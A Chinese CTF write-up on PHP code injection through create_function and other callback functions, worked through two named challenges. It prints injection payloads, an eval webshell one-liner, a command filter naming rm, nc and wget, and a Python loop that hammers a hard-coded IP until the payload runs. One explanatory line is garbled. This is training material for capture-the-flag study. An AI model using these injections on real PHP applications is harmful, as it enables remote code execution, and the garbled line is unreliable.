CTF题型 匿名函数考法&例题总结
文章目录
- CTF题型 匿名函数考法&例题总结
- 一 .原理分析
- 二 .重点匿名函数利用
- 1.create_function()
- 如何实现create_function代码注入
- 2.array_map()
- 3.call_user_func()
- 4.call_user_func_array()
- 5.array_filter()
- 三.例题讲解
- 1.[Polar 靶场 某函数的复仇]
- 扩展(非本题)
- 2.[2023 安洵杯 what’s my name]
一 .原理分析
匿名函数特点:无函数名,使用一次就被丢弃,一般可以动态执行php代码
二 .重点匿名函数利用
请熟记并理解为后面php代码审计打基础
1.create_function()
创建一个匿名(lambda样式)函数
第一次创建了一个叫 lambda_1 的函数,此后调用依次递增lambda_2…
注意 实际为
%00lambda_1
只不过%00不可见而已
create_function ( string $args , string $code ) : string
根据传递的参数创建一个匿名函数,并为其返回唯一的名称。如果没有严格对参数传递进行过滤,攻击者可以构造payload传递给create_function()对参数或函数体闭合注入恶意代码导致代码执行
可以闭合代码,实现eval执行任意命令
如何实现create_function代码注入
闭合方式不唯一,按实际代码决定
create_function('$name','echo $name."alex"')
等同与创建了一个函数:
function fT($fname) {echo $fname."alex";
}
并返回这个函数名 lambda_1
极其类似sql注入 (使前面闭合,使后面注释)
例如
<?php
$id=$_GET['id'];
$str2='echo $a'.'test'.$id.";";
echo $str2;
echo "<br/>";
echo "==============================";
echo "<br/>";
$f1 = create_function('$a',$str2);
?>
id值可控
原函数:
function fT($a){echo $a."test".$id;
}代码注入后:
function fT($a){echo $a."test";}phpinfo();/*;
}
2.array_map()
array_map — 为数组的每个元素应用回调函数
利用: 第一个参数为 回调函数,第二个参数为 参数数组
3.call_user_func()
call_user_func — 把第一个参数作为回调函数调用
同样的第一个参数是回调函数 不过第二个参数是 字符串 不是数组
4.call_user_func_array()
和array_map一模一样 利用: 第一个参数为 回调函数,第二个参数为 参数数组
5.array_filter()
array_filter — 使用回调函数过滤数组的元素
和array_map()对调一下位置 第一个参数为 参数数组,第二个参数为 回调函数
三.例题讲解
1.[Polar 靶场 某函数的复仇]
环境 :https://www.polarctf.com/#/page/challenges
<?php
highlight_file(__FILE__);
//flag:/flag
if(isset($_POST['shaw'])){$shaw = $_POST['shaw'];$root = $_GET['root'];if(preg_match('/^[a-z_]*$/isD',$shaw)){if(!preg_match('/rm|ch|nc|net|ex|\-|de|cat|tac|strings|h|wget|\?|cp|mv|\||so|\$/i',$root)){$shaw('',$root);}else{echo "Almost there^^";}}
}
?>
特征:$shaw('',$root);
方法名可控,第二个参数可控,那么我们考虑create_function();
这里保证$shaw=开头是[a-z_] 结尾是任意字符的字符
直接传 create_function即可
扩展(非本题)
这里提一嘴(经常考) 如果正则匹配 过滤 开头是[a-z_] 结尾是任意字符的字符 不可行 如何绕过?
if(preg_match('/^[a-z_]*$/isD',$shaw)
方法名绕过
通过 命名空间绕过 因为 \create_function()等价于create_function()
什么是命名空间(\)
在PHP的命名空间默认为\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
#例 <?php namespace ccc;\eval($_REQUEST['a']); <?php \system('cat /tmp/flag_XXXX');
接着闭合代码 底层实现{return $root}
我们用 ;}任意代码//
闭合
注意这里过滤了 h
phpinfo();是被过滤了的
2.[2023 安洵杯 what’s my name]
题目环境:https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web/
<?php
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){$sorter='strnatcasecmp';$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';@$miao=create_function('$a, $b', $sort_function);}else{echo('Is That My Name?');}
}
else{echo("YOU Do Not Know What is My Name!");
}
?>
@$miao=create_function('$a, $b', $sort_function);
匿名函数可以执行命令
闭合根据$sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';
其中$d0g3可控
原本闭合payload:'"]);}payload//
但是要满足if(preg_match('/^(?:.{5})*include/',$d0g3))
前5个任意字符+include
所以闭合用"]);}include();//
将 前面的 ’ 当成字符看了
$miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');if(strlen($d0g3)==substr($miao, -2)&&$name===$miao)
m i a o 为返回的匿名函数名称,判断 miao为返回的匿名函数名称,判断 miao为返回的匿名函数名称,判断name=== m i a o 而且 s t r l e n ( miao而且strlen( miao而且strlen(d0g3==substr($miao))
探究一下返回的匿名函数名称
注意还有两位不可见字符 可以用%00lambda_x绕过强相等
"]);}include(phpinfo());//
有26位字符
第26次 到lambda_626时执行命令
可以写个脚本
import requests
url='http://23.94.38.86:9999/?name=%00lambda_26'
params={'d0g3':"\"]);}include(phpinfo());//"
}
i=0
while True:i=i+1response=requests.get(url,params=params)print('+'+str(i))if 'php.net' in response.text:print(response.text)break
注意一点
#在Python的requests库中,当你发送一个请求并尝试传递一个包含%00的字符串时,默认情况下requests库会尝试对这个字符串进行URL编码。这是因为%00是一个URL编码的字符,对应于ASCII的NULL字符
#所以写死name的值
可以返回phpinfo的内容
其他命令同理